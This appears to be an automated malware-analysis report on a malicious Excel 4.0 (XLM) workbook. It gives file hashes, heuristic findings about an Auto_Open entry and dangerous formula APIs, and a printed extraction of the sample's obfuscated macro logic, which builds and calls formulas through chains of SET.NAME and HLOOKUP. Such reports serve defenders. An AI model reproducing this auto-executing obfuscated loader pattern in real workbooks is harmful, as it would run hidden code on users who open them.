Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7442340bf0423042…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:40 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: bb263d583d12195833aaa8c1a5898dd0 SHA-1: 74bc436eaebffd7f1527fb095b522ed269cad6ec SHA-256: 7442340bf042304283f51b8cb4a6128e988b500c5c4d8143ac8281f9600374a4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6753 bytes
SHA-256: 46191c63f0275681eacea2507623743886c2156c2e9c0f284afdf3abdad2e5b3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nNxRPuVtax
' 0018     21 LABEL : Cell Value, String Constant - ATGclF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D129 
' 0018     23 LABEL : Cell Value, String Constant - aWDJdFGh len=0 
' 0018     23 LABEL : Cell Value, String Constant - DhbAOpkm len=0 
' 0018     23 LABEL : Cell Value, String Constant - EdrhVCTa len=0 
' 0018     20 LABEL : Cell Value, String Constant - EWZZt len=0 
' 0018     24 LABEL : Cell Value, String Constant - fQmCDHBQK len=0 
' 0018     22 LABEL : Cell Value, String Constant - gcyjeIA len=0 
' 0018     24 LABEL : Cell Value, String Constant - GGIoOSkuJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - HMkOhYxSJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - hpdsIj len=0 
' 0018     25 LABEL : Cell Value, String Constant - ibWmKRvQcL len=0 
' 0018     21 LABEL : Cell Value, String Constant - Pdgduy len=0 
' 0018     24 LABEL : Cell Value, String Constant - qggYYzzly len=0 
' 0018     23 LABEL : Cell Value, String Constant - qTzjuGqC len=0 
' 0018     20 LABEL : Cell Value, String Constant - VGhdY len=0 
' 0018     22 LABEL : Cell Value, String Constant - vmyyNqQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - wACfR len=0 
' 0018     22 LABEL : Cell Value, String Constant - XjqtKMK len=0 
' 0018     25 LABEL : Cell Value, String Constant - xQHZayYOMp len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZWrHEmU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nNxRPuVtax,D42,"SET.NAME("Pdgduy",0+VALUE("0"))",""
'  nNxRPuVtax,T46,"",-224.00000000000000000000
'  nNxRPuVtax,D47,"SET.NAME("ATGclF",Pdgduy)",""
'  nNxRPuVtax,T47,"",-900.00000000000000000000
'  nNxRPuVtax,T48,"",336.00000000000000000000
'  nNxRPuVtax,D49,"SET.NAME("XjqtKMK",Pdgduy)",""
'  nNxRPuVtax,T49,"",78.00000000000000000000
'  nNxRPuVtax,T50,"",935.00000000000000000000
'  nNxRPuVtax,T51,"",-230.00000000000000000000
'  nNxRPuVtax,D52,"SET.NAME("qTzjuGqC",COUNTA(VGhdY))",""
'  nNxRPuVtax,D56,"SET.NAME("HMkOhYxSJ",COUNTA(EdrhVCTa))",""
'  nNxRPuVtax,D61,[],""
'  nNxRPuVtax,D63,"SET.NAME("fQmCDHBQK","")",""
'  nNxRPuVtax,D66,"ATGclF",""
'  nNxRPuVtax,D68,"SET.NAME("wACfR",HLOOKUP("*",VGhdY,ATGclF,FALSE))",""
'  nNxRPuVtax,D70,"vmyyNqQ",""
'  nNxRPuVtax,D75,"SET.NAME("EWZZt",Pdgduy)",""
'  nNxRPuVtax,D78,[],""
'  nNxRPuVtax,D81,"EWZZt",""
'  nNxRPuVtax,D86,"DhbAOpkm",""
'  nNxRPuVtax,D88,"gcyjeIA",""
'  nNxRPuVtax,D90,"hpdsIj",""
'  nNxRPuVtax,D92,"SET.NAME("ZWrHEmU",VALUE(HLOOKUP("*",EdrhVCTa,hpdsIj,FALSE)))",""
'  nNxRPuVtax,D97,"GGIoOSkuJ",""
'  nNxRPuVtax,D101,"fQmCDHBQK",""
'  nNxRPuVtax,D105,"XjqtKMK",""
'  nNxRPuVtax,D110,NEXT(),""
'  nNxRPuVtax,D113,"aWDJdFGh",""
'  nNxRPuVtax,D116,[],""
'  nNxRPuVtax,D120,"qggYYzzly",""
'  nNxRPuVtax,D123,NEXT(),""
'  nNxRPuVtax,D127,RETURN(),""
'  nNxRPuVtax,D157,"SET.NAME("xQHZayYOMp",D42)",""
'  nNxRPuVtax,D162,"VGhdY",""
'  nNxRPuVtax,D166,"SET.NAME("EdrhVCTa",R87C15)",""
'  nNxRPuVtax,D171,"SET.NAME("qggYYzzly",179)",""
'  nNxRPuVtax,D173,"SET.NAME("ibWmKRvQcL",4)",""
'  nNxRPuVtax,D178,xQHZayYOMp(),""
'  nNxRPuVtax,D179,HALT(),""

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